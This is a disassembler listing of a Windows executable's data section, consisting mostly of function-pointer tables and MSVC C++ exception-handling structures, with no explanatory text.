db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0
dd 317h dup(0)
off_43F000 dd offset sub_4017D0 ; DATA XREF: sub_403700+3FEo
off_43F004 dd offset byte_437AC0 ; DATA XREF: sub_403C30+2o
off_43F008 dd offset off_402027 ; DATA XREF: sub_406BF0+2o sub_406C50o
off_43F00C dd offset sub_40221B ; DATA XREF: ___:004070C5o
off_43F010 dd offset loc_40218F ; DATA XREF: sub_409BB0+4o
; sub_409C10+Bo ...
off_43F014 dd offset loc_402045 ; DATA XREF: sub_40AE90+2o
; sub_40AEE0+1Co
dd offset byte_437AC0
align 10h
off_43F020 dd offset loc_401AE1 ; DATA XREF: ___:0040B1E8o
; sub_40B240+1Eo
flt_43F024 dd 1.0 ; DATA XREF: ___:0040B896r
off_43F028 dd offset sub_401A4B ; DATA XREF: sub_40F6C0+157o
; sub_412860+1Do
dd offset sub_402149
dd 0
off_43F034 dd offset sub_401ACD ; DATA XREF: sub_40F6C0+142o
; sub_412860+23o
off_43F038 dd offset loc_40115E ; DATA XREF: sub_412A20+36o
; sub_412AD0+1Do
dd offset loc_402004
dd 0
off_43F044 dd offset sub_4014C9 ; DATA XREF: ___:0041324Do
; sub_4132E0+1Fo
dd offset sub_401D0C
align 10h
off_43F050 dd offset loc_4014AB ; DATA XREF: sub_417B80+68o
off_43F054 dd offset sub_401064 ; DATA XREF: sub_417C20+8Bo
off_43F058 dd offset sub_40138E ; DATA XREF: sub_417CF0+74o
off_43F05C dd offset sub_4019CE ; DATA XREF: sub_417DB0+8o
; sub_418AD0+6o
dd offset sub_4020C7
align 8
off_43F068 dd offset loc_401CAD ; DATA XREF: sub_417DE0+8o
; sub_418B30+6o
dd offset sub_401230
dd 0
off_43F074 dd offset loc_401B81 ; DATA XREF: sub_417E10+7Bo
off_43F078 dd offset loc_40204A ; DATA XREF: sub_417ED0+7Bo
off_43F07C dd offset loc_401F3C ; DATA XREF: sub_417F90+3Eo
off_43F080 dd offset sub_401FE1 ; DATA XREF: sub_418010+8o
off_43F084 dd offset loc_401FF5 ; DATA XREF: sub_418040+3Eo
off_43F088 dd offset sub_401E6A ; DATA XREF: sub_4180C0+3Eo
off_43F08C dd offset loc_40100A ; DATA XREF: sub_418140+10o
off_43F090 dd offset loc_4010B4 ; DATA XREF: sub_418170+4Bo
off_43F094 dd offset sub_401BB8 ; DATA XREF: sub_4181F0+10o
off_43F098 dd offset sub_40171C ; DATA XREF: sub_418220+10o
off_43F09C dd offset sub_40161D ; DATA XREF: sub_418250+6Bo
off_43F0A0 dd offset loc_401929 ; DATA XREF: sub_418B90o sub_41FBD0+8o
dd offset sub_401CF3
dd 0
off_43F0AC dd offset sub_40111D ; DATA XREF: sub_418BE0o
; sub_4191A0+36o
dbl_43F0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4199C0+22r
dd 0
off_43F0BC dd offset sub_401B09 ; DATA XREF: sub_41A110+Bo
; sub_41A210+6o
off_43F0C0 dd offset sub_401E92 ; DATA XREF: sub_41B0B0+Do sub_41B110o
off_43F0C4 dd offset sub_401406 ; DATA XREF: ___:0041B472o
; ___:0041B55Do
dd offset sub_401686
align 10h
off_43F0D0 dd offset loc_4019F6 ; DATA XREF: sub_41D770+77o
; sub_4218A0+1Do
dd offset sub_401C94
dd 0
off_43F0DC dd offset sub_4011FE ; DATA XREF: sub_427740+32o
dd offset sub_401A78
dd offset sub_401A50
dd 0
off_43F0EC dd offset loc_4016DB ; DATA XREF: sub_427B00+6Ao
; sub_427BA0+1Do
dd offset sub_401A78
dd offset byte_437AC0
dd 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND]
db 1Ah, 40h, 0
dd offset sub_401A78
dd offset sub_401366
dd 0
off_43F10C dd offset sub_40182A ; DATA XREF: sub_4281A0+32o
dd offset sub_401A78
dd offset sub_401EB0
dd 0
off_43F11C dd offset sub_40224D ; DATA XREF: sub_428880+32o
dd offset sub_401A78
dd offset sub_401A14
dd 0
off_43F12C dd offset sub_401C3F ; DATA XREF: sub_4290B0+32o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_4015B9
dd 0
off_43F13C dd offset loc_402086 ; DATA XREF: sub_429290+7Ao
; sub_429350+1Do
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset byte_437AC0
dd 0
off_43F14C dd offset sub_4021D5 ; DATA XREF: sub_429450+4Bo
; sub_42AF10+10o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset loc_401D3E
dd 0
off_43F15C dd offset loc_40112C ; DATA XREF: sub_42AC10+32o
; sub_42AFB0+9o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_40137A
dd 0
off_43F16C dd offset loc_401B18 ; DATA XREF: sub_42AFF0+32o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_4010AF
dd 0
off_43F17C dd offset sub_4017B2 ; DATA XREF: sub_42B380+32o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_40189D
dd 0
off_43F18C dd offset sub_4020EF ; DATA XREF: sub_42C4C0+27o
dword_43F190 dd 0 dd 8, 0
off_43F19C dd offset byte_437AC0 ; DATA XREF: sub_42C530+39o
off_43F1A0 dd offset sub_401F5F ; DATA XREF: ___:0042C602o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset loc_40134D
align 10h
off_43F1B0 dd offset sub_401B36 ; DATA XREF: sub_42C770+32o
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_401537
align 10h
dd offset loc_4015FA
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 21h, 40h, 0
dd offset sub_4019F1
align 10h
dd offset dword_43F348
off_43F1D4 dd offset loc_437B01 ; DATA XREF: ___:off_444890o
; ___:off_4448B0o ...
dd 0FFFFFFFFh, 437E9Ch, 437EB0h, 4Dh dup(0)
off_43F318 dd offset off_448C90 ; DATA XREF: ___:0043F330o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43F318
dd 0
db 0 ; DATA XREF: ___:0043F358o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 43F330h
dword_43F348 dd 3 dup(0) dd offset off_448C90
dd offset unk_43F338
dd 45h dup(0)
dword_43F470 dd 19930520h, 5, 43F490h, 5 dup(0) dd 0FFFFFFFFh, 438E1Ch, 0
dd offset dword_4382CC+0B24h
dd 1, 438DFBh, 2, 438E06h, 3, 438E11h, 2 dup(0)
dword_43F4C0 dd 19930520h, 3Dh, 43F4E0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0
dd offset loc_438E6B
dd 1, 438E76h, 2, 438E84h, 3, 438E92h, 4, 438EA0h, 5, 438EAEh
dd 6, 438EBCh, 7, 438ECAh, 8, 438ED8h, 9, 438EE6h, 0Ah
dd 438EF4h, 0Bh, 438F02h, 0Ch, 438F10h, 0Dh, 438F1Eh, 0Eh
dd 438F2Ch, 0Fh, 438F3Ah, 10h, 438F48h, 11h, 438F56h, 12h
dd 438F64h, 13h, 438F72h, 14h, 438F80h, 15h, 438F8Eh, 16h
dd 438F9Ch, 17h, 438FAAh, 18h, 438FB8h, 19h, 438FC6h, 1Ah
dd 438FD4h, 1Bh, 438FE2h, 1Ch, 438FF0h, 1Dh, 438FFEh, 1Eh
dd 43900Ch, 1Fh, 43901Ah, 20h, 439028h, 21h, 439036h, 22h
dd 439044h, 23h, 439052h, 24h, 439060h, 25h, 43906Eh, 26h
dd 43907Ch, 27h, 43908Ah, 28h, 439098h, 29h, 4390A6h, 2Ah
dd 4390B4h, 2Bh, 4390C2h, 2Ch, 4390D0h, 2Dh, 4390DEh, 2Eh
dd 4390ECh, 2Fh, 4390FAh, 30h, 439108h, 31h, 439116h, 32h
dd 439124h, 33h, 439132h, 34h, 439140h, 35h, 43914Eh, 36h
dd 43915Ch, 37h, 43916Ah, 38h, 439178h, 39h, 439186h, 3Ah
dd 439194h, 3Bh, 4391A2h, 0Eh dup(0)
dword_43F700 dd 19930520h, 2, 43F720h, 5 dup(0) dd 0FFFFFFFFh, 439290h, 0
dd offset loc_439298
dd 2 dup(0)
dword_43F738 dd 19930520h, 2, 43F758h, 5 dup(0) dd 0FFFFFFFFh, 4392C0h, 0
dd offset loc_4392C8
align 10h
dword_43F770 dd 19930520h, 1, 43F790h, 5 dup(0) dd 0FFFFFFFFh, 4392F0h, 2 dup(0)
dword_43F7A0 dd 19930520h, 7, 43F7C0h, 5 dup(0) dd 0FFFFFFFFh, 439310h, 0
dd offset loc_439318
dd 1, 439323h, 2, 439331h, 3, 43933Fh, 4, 43934Dh, 5, 43935Bh
dd 2 dup(0)
dword_43F800 dd 19930520h, 7, 43F820h, 5 dup(0) dd 0FFFFFFFFh, 439390h, 0
dd offset loc_439398
dd 1, 4393A3h, 2, 4393B1h, 3, 4393BFh, 4, 4393CDh, 5, 4393DBh
dd 2 dup(0)
dword_43F860 dd 19930520h, 11h, 43F880h, 5 dup(0) dd 0FFFFFFFFh, 439410h, 0FFFFFFFFh, 439418h, 0FFFFFFFFh
dd 439420h, 0FFFFFFFFh, 439428h, 0FFFFFFFFh, 439430h, 0FFFFFFFFh
dd 439438h, 0FFFFFFFFh, 439440h, 0FFFFFFFFh, 439448h, 0FFFFFFFFh
dd 439450h, 0FFFFFFFFh, 439458h, 0FFFFFFFFh, 439460h, 0FFFFFFFFh
dd 439468h, 0FFFFFFFFh, 439470h, 0FFFFFFFFh, 439478h, 0FFFFFFFFh
dd 439480h, 0Eh, 439488h, 0Eh, 439490h, 4 dup(0)
dword_43F918 dd 19930520h, 0Bh, 43F938h, 5 dup(0) dd 0FFFFFFFFh, 4394D0h, 0
; ---------------------------------------------------------------------------
fcom dword ptr [ebx+eax*2-100h]
jmp eax
; ---------------------------------------------------------------------------
db 94h, 43h, 0
dd 2, 4394E8h, 0FFFFFFFFh, 4394F0h, 0FFFFFFFFh, 4394F8h
dd 0FFFFFFFFh, 439500h, 0FFFFFFFFh, 439508h, 7, 439513h
dd 7, 43951Bh, 9, 439523h, 4 dup(0)
dword_43F9A0 dd 19930520h, 31h, 43F9C0h, 5 dup(0) dd 0FFFFFFFFh, 439550h, 0
dd offset loc_43955B
dd 0
dd offset loc_439566
dd 0FFFFFFFFh, 439571h, 0FFFFFFFFh, 43957Ch, 4, 439587h
dd 0FFFFFFFFh, 439592h, 6, 43959Dh, 6, 4395A8h, 8, 4395B3h
dd 0FFFFFFFFh, 4395BEh, 0Ah, 4395C9h, 0Ah, 4395D4h, 0Ah
dd 4395DFh, 0Ah, 4395EAh, 0Ah, 4395F5h, 0Ah, 439600h, 0FFFFFFFFh
dd 43960Bh, 11h, 439616h, 11h, 439621h, 0FFFFFFFFh, 43962Ch
dd 0FFFFFFFFh, 439637h, 15h, 439642h, 0FFFFFFFFh, 43964Dh
dd 0FFFFFFFFh, 439658h, 18h, 439663h, 0FFFFFFFFh, 43966Eh
dd 0FFFFFFFFh, 439679h, 0FFFFFFFFh, 439684h, 0FFFFFFFFh
dd 43968Fh, 1Dh, 43969Ah, 1Dh, 4396A5h, 1Dh, 4396B0h, 1Dh
dd 4396BBh, 1Dh, 4396C6h, 22h, 4396D1h, 22h, 4396DCh, 22h
dd 4396E7h, 22h, 4396F2h, 22h, 4396FDh, 22h, 439708h, 22h
dd 439713h, 22h, 43971Eh, 22h, 439729h, 22h, 439734h, 22h
dd 43973Fh, 22h, 43974Ah, 22h, 439755h, 22h, 439760h, 0Ch dup(0)
dword_43FB78 dd 19930520h, 2, 43FB98h, 5 dup(0) dd 0FFFFFFFFh, 439808h, 0
dd offset loc_439800
align 10h
dword_43FBB0 dd 19930520h, 2, 43FBD0h, 5 dup(0) dd 0FFFFFFFFh, 43984Bh, 0
dd offset loc_439840
dd 2 dup(0)
dword_43FBE8 dd 19930520h, 1, 43FC08h, 5 dup(0) dd 0FFFFFFFFh, 439880h, 2 dup(0)
dword_43FC18 dd 19930520h, 3, 43FC38h, 5 dup(0) dd 0FFFFFFFFh, 4398A0h, 0
dd offset loc_4398AB
dd 0
dd offset loc_4398B6
dd 2 dup(0)
dword_43FC58 dd 19930520h, 1, 43FC78h, 5 dup(0) dd 0FFFFFFFFh, 4398E0h, 2 dup(0)
dword_43FC88 dd 19930520h, 1, 43FCA8h, 5 dup(0) dd 0FFFFFFFFh, 439900h, 2 dup(0)
dword_43FCB8 dd 19930520h, 2, 43FCD8h, 5 dup(0) dd 0FFFFFFFFh, 439920h, 0
dd offset loc_439928
align 10h
dword_43FCF0 dd 19930520h, 57h, 43FD10h, 5 dup(0) dd 0FFFFFFFFh, 439940h, 0
dd offset loc_43994B
dd 1, 439956h, 2, 439961h, 3, 43996Ch, 4, 439977h, 5, 439982h
dd 6, 43998Dh, 7, 439998h, 8, 4399A3h, 9, 4399ABh, 0Ah
dd 4399B3h, 0Bh, 4399BEh, 0Ch, 4399C6h, 0Dh, 4399CEh, 0Eh
dd 4399D9h, 0Fh, 4399E4h, 10h, 4399EFh, 11h, 4399FAh, 12h
dd 439A05h, 13h, 439A10h, 14h, 439A1Bh, 15h, 439A26h, 16h
dd 439A31h, 17h, 439A3Ch, 18h, 439A47h, 19h, 439A52h, 1Ah
dd 439A5Dh, 1Bh, 439A68h, 1Ch, 439A73h, 1Dh, 439A7Eh, 1Eh
dd 439A89h, 1Eh, 439A94h, 1Eh, 439A9Fh, 1Eh, 439AAAh, 1Eh
dd 439AB5h, 1Eh, 439AC0h, 1Eh, 439ACBh, 1Eh, 439AD6h, 1Eh
dd 439AE1h, 1Eh, 439AECh, 28h, 439AF7h, 1Eh, 439AF7h, 1Eh
dd 439B02h, 2Bh, 439B0Dh, 1Eh, 439B0Dh, 1Eh, 439B18h, 2Eh
dd 439B23h, 1Eh, 439B23h, 1Eh, 439B2Eh, 31h, 439B39h, 1Eh
dd 439B39h, 1Eh, 439B44h, 34h, 439B4Fh, 1Eh, 439B4Fh, 1Eh
dd 439B5Ah, 37h, 439B65h, 1Eh, 439B65h, 1Eh, 439B70h, 3Ah
dd 439B7Bh, 1Eh, 439B7Bh, 1Eh, 439B86h, 3Dh, 439B91h, 1Eh
dd 439B91h, 1Eh, 439B9Ch, 40h, 439BA7h, 1Eh, 439BA7h, 1Eh
dd 439BB2h, 43h, 439BBDh, 1Eh, 439BBDh, 1Eh, 439BC8h, 46h
dd 439BD3h, 1Eh, 439BD3h, 1Eh, 439BDEh, 49h, 439BE9h, 1Eh
dd 439BE9h, 1Eh, 439BF4h, 4Ch, 439BFFh, 1Eh, 439BFFh, 1Eh
dd 439C0Ah, 4Fh, 439C15h, 1Eh, 439C15h, 1Eh, 439C20h, 52h
dd 439C2Bh, 53h, 439C36h, 54h, 439C41h, 55h, 439C4Ch, 13h dup(0)
dd offset off_444890
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 437AF0h, 2 dup(0)
dd offset off_4448B0
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 437F1Ah, 2 dup(0)
dd offset off_4448D8
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 437F20h, 0
dword_440070 dd 3, 440050h, 440030h, 440010h, 2 dup(0)dword_440088 dd 0 ; ___:0040AA67o
dd offset dword_437EC4+62h
dd 0
dd offset dword_440070
align 10h
dword_4400A0 dd 19930520h, 1, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 2 dup(0)
dword_4400D0 dd 19930520h, 1, 4400F0h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 2 dup(0)
dword_440100 dd 19930520h, 3, 440120h, 5 dup(0) dd 0FFFFFFFFh, 439D70h, 0
dd offset loc_439D87
dd 1, 439D8Fh, 2 dup(0)
dword_440140 dd 19930520h, 1, 440160h, 5 dup(0) dd 0FFFFFFFFh, 439DB0h, 2 dup(0)
dword_440170 dd 19930520h, 2, 440190h, 1, 4401A0h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 4401B8h, 4 dup(0)
dd offset sub_40AF22
align 10h
dword_4401D0 dd 19930520h, 2, 4401F0h, 1, 440200h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 440218h, 4 dup(0)
dd offset sub_40B0A1
align 10h
dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439DF0h, 0
dd offset loc_439DFB
dd 1, 439E06h, 2, 439E11h, 2 dup(0)
dword_440278 dd 19930520h, 4, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439E40h, 0
dd offset loc_439E4B
dd 1, 439E56h, 2, 439E61h, 2 dup(0)
dword_4402C0 dd 19930520h, 3, 4402E0h, 5 dup(0) dd 0FFFFFFFFh, 439E90h, 0FFFFFFFFh, 439E98h, 0FFFFFFFFh
dd 439EA0h, 2 dup(0)
dword_440300 dd 19930520h, 3, 440320h, 5 dup(0) dd 0FFFFFFFFh, 439EC0h, 0
dd offset loc_439EC8
dd 1, 439ED0h, 2 dup(0)
dword_440340 dd 19930520h, 1, 440360h, 5 dup(0) dd 0FFFFFFFFh, 439EF0h, 2 dup(0)
dword_440370 dd 19930520h, 4, 440390h, 5 dup(0) dd 0FFFFFFFFh, 439F10h, 0FFFFFFFFh, 439F18h, 0FFFFFFFFh
dd 439F20h, 2, 439F28h, 2 dup(0)
dword_4403B8 dd 19930520h, 1, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439F50h, 2 dup(0)
dword_4403E8 dd 19930520h, 4, 440408h, 5 dup(0) dd 0FFFFFFFFh, 439F70h, 0
dd offset loc_439F7B
dd 0
dd offset loc_439F86
dd 2, 439F91h, 2 dup(0)
dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439FC0h, 2 dup(0)
dword_440460 dd 19930520h, 5, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439FE0h, 0
dd offset loc_439FEB
dd 0
dd offset loc_439FF6
dd 0
dd offset loc_43A001
dd 0
dd offset loc_43A00C
align 10h
dword_4404B0 dd 19930520h, 2, 4404D0h, 5 dup(0) dd 0FFFFFFFFh, 43A040h, 0
dd offset loc_43A04B
dd 2 dup(0)
dword_4404E8 dd 19930520h, 2, 440508h, 5 dup(0) dd 0FFFFFFFFh, 43A070h, 0
dd offset loc_43A07B
align 10h
dword_440520 dd 19930520h, 4, 440540h, 5 dup(0) dd 0FFFFFFFFh, 43A0A0h, 0FFFFFFFFh, 43A0A8h, 0FFFFFFFFh
dd 43A0B0h, 0FFFFFFFFh, 43A0B8h, 2 dup(0)
dword_440568 dd 19930520h, 8, 440588h, 5 dup(0) dd 0FFFFFFFFh, 43A0E0h, 0
dd offset loc_43A0EB
dd 1, 43A0F6h, 1, 43A101h, 1, 43A10Ch, 1, 43A117h, 1, 43A122h
dd 1, 43A12Dh, 4 dup(0)
dword_4405D8 dd 19930520h, 0Dh, 4405F8h, 5 dup(0) dd 0FFFFFFFFh, 43A160h, 0FFFFFFFFh, 43A16Bh, 1, 43A176h
dd 2, 43A181h, 3, 43A18Ch, 4, 43A197h, 5, 43A1A2h, 6, 43A1ADh
dd 7, 43A1B8h, 8, 43A1C3h, 9, 43A1CEh, 0Ah, 43A1D9h, 0Bh
dd 43A1E4h, 4 dup(0)
dword_440670 dd 19930520h, 6, 440690h, 5 dup(0) dd 0FFFFFFFFh, 43A220h, 0
dd offset loc_43A228
dd 1, 43A230h, 2, 43A238h, 2, 43A240h, 2, 43A248h, 2 dup(0)
dword_4406C8 dd 19930520h, 6, 4406E8h, 5 dup(0) dd 0FFFFFFFFh, 43A270h, 0
dd offset loc_43A278
dd 1, 43A280h, 2, 43A288h, 2, 43A290h, 2, 43A298h, 2 dup(0)
dword_440720 dd 19930520h, 3, 440740h, 5 dup(0) dd 0FFFFFFFFh, 43A2C0h, 0
dd offset loc_43A2C8
dd 1, 43A2D0h, 2 dup(0)
dword_440760 dd 19930520h, 1, 440780h, 5 dup(0) dd 0FFFFFFFFh, 43A2F0h, 2 dup(0)
dword_440790 dd 19930520h, 7, 4407B0h, 5 dup(0) dd 0FFFFFFFFh, 43A310h, 0
dd offset loc_43A318
dd 0FFFFFFFFh, 43A320h, 0FFFFFFFFh, 43A328h, 3, 43A330h
dd 4, 43A338h, 0FFFFFFFFh, 43A340h, 2 dup(0)
dword_4407F0 dd 19930520h, 24h, 440810h, 5 dup(0) dd 0FFFFFFFFh, 43A370h, 0
dd offset loc_43A378
dd 1, 43A383h, 2, 43A38Eh, 3, 43A399h, 4, 43A3A7h, 5, 43A3B5h
dd 6, 43A3C3h, 7, 43A3D1h, 8, 43A3DFh, 9, 43A3EDh, 0Ah
dd 43A3FBh, 0Bh, 43A409h, 0Ch, 43A417h, 0Dh, 43A425h, 0Eh
dd 43A433h, 0Fh, 43A441h, 10h, 43A44Fh, 11h, 43A45Dh, 11h
dd 43A465h, 11h, 43A46Dh, 11h, 43A475h, 11h, 43A47Dh, 11h
dd 43A485h, 11h, 43A48Dh, 11h, 43A495h, 11h, 43A49Dh, 11h
dd 43A4A5h, 11h, 43A4ADh, 11h, 43A4B5h, 11h, 43A4BDh, 11h
dd 43A4C5h, 11h, 43A4CDh, 11h, 43A4D5h, 11h, 43A4DDh, 11h
dd 43A4E5h, 8 dup(0)
dword_440950 dd 19930520h, 38h, 440970h, 5 dup(0) dd 0FFFFFFFFh, 43A560h, 0
dd offset loc_43A56B
dd 1, 43A576h, 0
dd offset loc_43A581
dd 0
dd offset loc_43A58C
dd 0
dd offset loc_43A597
dd 0
dd offset loc_43A5A2
dd 0
dd offset loc_43A5AD
dd 0
dd offset loc_43A5B8
dd 0
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0A5h, 43h, 0
dd 9, 43A5CEh, 0
dd offset loc_43A5D9
dd 0
dd offset loc_43A5E4
dd 0
dd offset loc_43A5EF
dd 0
dd offset loc_43A5FA
dd 0Eh, 43A605h, 0Eh, 43A613h, 0Eh, 43A621h, 0Eh, 43A62Ch
dd 0Eh, 43A63Ah, 0Eh, 43A648h, 0Eh, 43A653h, 0Eh, 43A65Eh
dd 0
dd offset loc_43A669
dd 0
dd offset loc_43A674
dd 0
dd offset loc_43A682
dd 0
dd offset loc_43A690
dd 1Ah, 43A69Bh, 1Bh, 43A6A6h, 0
dd offset loc_43A6B1
dd 1Dh, 43A6BCh, 0
dd offset loc_43A6C7
dd 1Fh, 43A6D2h, 0
dd offset loc_43A6DD
dd 0
dd offset loc_43A6E8
dd 0
dd offset loc_43A6F3
dd 0
dd offset loc_43A6FE
dd 0
dd offset loc_43A709
dd 25h, 43A714h, 26h, 43A71Fh, 0
dd offset loc_43A71F
dd 28h, 43A714h, 0
dd offset loc_43A72A
dd 0
dd offset loc_43A735
dd 2Bh, 43A740h, 2Ch, 43A74Bh, 0
dd offset loc_43A74B
dd 2Eh, 43A740h, 2Eh, 43A756h, 0
dd offset loc_43A761
dd 31h, 43A76Ch, 0
dd offset loc_43A777
dd 0
dd offset loc_43A782
dd 34h, 43A78Dh, 35h, 43A798h, 34h, 43A798h, 0Ch dup(0)
dword_440B60 dd 19930520h, 0Ah, 440B80h, 5 dup(0) dd 0FFFFFFFFh, 43A840h, 0FFFFFFFFh, 43A848h, 0FFFFFFFFh
dd 43A850h, 0FFFFFFFFh, 43A858h, 0FFFFFFFFh, 43A860h, 0FFFFFFFFh
dd 43A868h, 0FFFFFFFFh, 43A870h, 0FFFFFFFFh, 43A878h, 0FFFFFFFFh
dd 43A880h, 0FFFFFFFFh, 43A888h, 4 dup(0)
dword_440BE0 dd 19930520h, 0Eh, 440C00h, 5 dup(0) dd 0FFFFFFFFh, 43A8B0h, 0
dd offset loc_43A8B8
dd 0FFFFFFFFh, 43A8C3h, 0FFFFFFFFh, 43A8CBh, 0FFFFFFFFh
dd 43A8D3h, 0FFFFFFFFh, 43A8DBh, 5, 43A8E6h, 0FFFFFFFFh
dd 43A8EEh, 0FFFFFFFFh, 43A8F6h, 0FFFFFFFFh, 43A8FEh, 9
dd 43A909h, 0FFFFFFFFh, 43A911h, 0Bh, 43A919h, 0Ch, 43A921h
dd 4 dup(0)
dword_440C80 dd 19930520h, 2, 440CA0h, 5 dup(0) dd 0FFFFFFFFh, 43A968h, 0
dd offset loc_43A960
dd 2 dup(0)
